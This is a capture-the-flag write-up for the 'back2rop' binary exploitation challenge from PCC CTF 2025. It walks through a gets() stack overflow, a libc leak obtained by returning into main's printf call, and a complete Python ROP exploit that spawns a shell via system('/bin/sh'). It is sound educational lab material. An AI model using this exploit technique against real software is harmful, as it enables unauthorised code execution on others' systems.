Published on

PCC '25 - PWN - Back2ROP

Authors

Three binary exploitation challenges were given in the final round of PCC CTF 2025:

arcus@VALHALLA ~/CTFs/PCC-25/FINALS/pwn$ ls
Valorant  back2rop  todos

This writeup is about the first challenge named back2rop because I only managed to solve that one :( The other two challenges were pretty hard and I wasn't able to solve them within the time limit.

Solution

Files provided:

arcus@VALHALLA ~/CTFs/PCC-25/FINALS/pwn/back2rop$ ls
Dockerfile.dist  back2rop  docker-compose.yml  flag.txt  pwn-back2rop.tar

Binary has following protections:

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Disassembly of the binary:

main
int __fastcall main(int argc, const char **argv, const char **envp)
{
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(_bss_start, 0LL, 2, 0LL);
    printf("You know what; here you go: %p\n", vuln);
    vuln();
    return 0;
}

In main function, it sets the buffering mode for stdin and _bss_start to line buffering, which is a common technique to make input/output more predictable in CTF challenges. It then prints the address of the vuln function and calls it. Disassembly of vuln function:

vuln
int vuln()
{
  _BYTE v1[256]; // [rsp+0h] [rbp-100h] BYREF

  printf("Do you want doom? (y/n): ");
  if ( getchar() == 121 )
  {
    puts("You asked for it!");
    printf("let's go: ");
    gets(v1);
  }
  return puts("Didn't think you'd be this afraid, lol");
}

In vuln function, it prompts the user with "Do you want doom? (y/n): " and waits for input. If the user inputs 'y', it prints "You asked for it!" and then prompts "let's go: ". It then uses gets to read input into a local buffer v1 of size 256 bytes. This is a classic buffer overflow vulnerability since gets does not perform bounds checking on the input. Lets validating the crash via sending cyclic pattern of 300 bytes. Payload so far:

#!/usr/bin/env python3
from flashlib import *

gdbscript = """
    b *vuln+117
"""

init("./back2rop-patched")
attach(gdbscript)


elf.address = hexleak(io.recvafter(b"You know what; here you go: ")) - 0x11c9
logleak(elf.address)
io.sendafter(b"(y/n): ", b"y")

io.sendlineafter(b"let's go: ", cyclic(300))
io.interactive()

Crash:

crash

0x6261616161616169 shows that rip control is achieved at offset 264. So far it seems like a simple buffer overflow, but the challenge is there is no POP_RDI gadget in the binary that we can use to leak libc address like we do in most of ret2libc challenges. So we need to find another way to leak libc address.

After studying execution state of the binary, I found that when the code execution exists vuln function, it sets up a libc leak in rsi register.

establishing-primitive-1

Now, if i show you main function disassembly , where it is leaking the address of vuln function:

pwndbg> disassemble main
Dump of assembler code for function main:
   0x000056ec22b8823f <+0>:     endbr64
   0x000056ec22b88243 <+4>:     push   rbp
   0x000056ec22b88244 <+5>:     mov    rbp,rsp
   0x000056ec22b88247 <+8>:     sub    rsp,0x20
   0x000056ec22b8824b <+12>:    mov    DWORD PTR [rbp-0x4],edi
   0x000056ec22b8824e <+15>:    mov    QWORD PTR [rbp-0x10],rsi
   0x000056ec22b88252 <+19>:    mov    QWORD PTR [rbp-0x18],rdx
   0x000056ec22b88256 <+23>:    mov    rax,QWORD PTR [rip+0x2dc3]        # 0x56ec22b8b020 <stdin@GLIBC_2.2.5>
   0x000056ec22b8825d <+30>:    mov    ecx,0x0
   0x000056ec22b88262 <+35>:    mov    edx,0x2
   0x000056ec22b88267 <+40>:    mov    esi,0x0
   0x000056ec22b8826c <+45>:    mov    rdi,rax
   0x000056ec22b8826f <+48>:    call   0x56ec22b880d0 <setvbuf@plt>
   0x000056ec22b88274 <+53>:    mov    rax,QWORD PTR [rip+0x2d95]        # 0x56ec22b8b010 <stdout@GLIBC_2.2.5>
   0x000056ec22b8827b <+60>:    mov    ecx,0x0
   0x000056ec22b88280 <+65>:    mov    edx,0x2
   0x000056ec22b88285 <+70>:    mov    esi,0x0
   0x000056ec22b8828a <+75>:    mov    rdi,rax
   0x000056ec22b8828d <+78>:    call   0x56ec22b880d0 <setvbuf@plt>
   0x000056ec22b88292 <+83>:    lea    rax,[rip+0xffffffffffffff30]        # 0x56ec22b881c9 <vuln>
   0x000056ec22b88299 <+90>:    mov    rsi,rax
   0x000056ec22b8829c <+93>:    lea    rax,[rip+0xdc5]        # 0x56ec22b89068
   0x000056ec22b882a3 <+100>:   mov    rdi,rax
   0x000056ec22b882a6 <+103>:   mov    eax,0x0
   0x000056ec22b882ab <+108>:   call   0x56ec22b880a0 <printf@plt>
   0x000056ec22b882b0 <+113>:   mov    eax,0x0
   0x000056ec22b882b5 <+118>:   call   0x56ec22b881c9 <vuln>
   0x000056ec22b882ba <+123>:   mov    eax,0x0
   0x000056ec22b882bf <+128>:   leave
   0x000056ec22b882c0 <+129>:   ret

You can see that if I jump to <main+93>, I can force printf() call at <main+108> to leak libc address, more specifically _IO_2_1_stdout_+131 without breaking the execution flow of the program. So I can use this primitive to leak libc address. Lets do it:

establishing-primitive-1

After that, just ROP and ROLL. Full exploit:

payload.py
#!/usr/bin/env python3
from flashlib import *

gdbscript = """
    # b*main+93
    b *vuln+117
"""

init("./back2rop-patched")
attach(gdbscript)


elf.address = hexleak(io.recvafter(b"You know what; here you go: ")) - 0x11c9
logleak(elf.address)
io.sendafter(b"(y/n): ", b"y")


TO_RET = elf.address + 0x129c  # <main+93>
payload = flat(
    cyclic(256),
    elf.bss()+0x800,     # storing a writable address at rbp to avoid segfault when the function returns
    TO_RET,
)


io.sendlineafter(b"go: ", payload)

libc.address = hexleak(io.recvafter(b"You know what; here you go: ")) - 0x211643
logleak(libc.address)
io.sendafter(b"(y/n): ", b"y")

POP_RDI = libc.address + 0x0000000000119fdc
BIN_SH = libc.address + 0x1d84ab

payload = flat(
    cyclic(256),
    elf.address+0x400,
    POP_RDI, BIN_SH,
    POP_RDI+1, libc.sym.system
)

io.sendlineafter(b"let's go: ", payload)
io.interactive()

Shell:

shell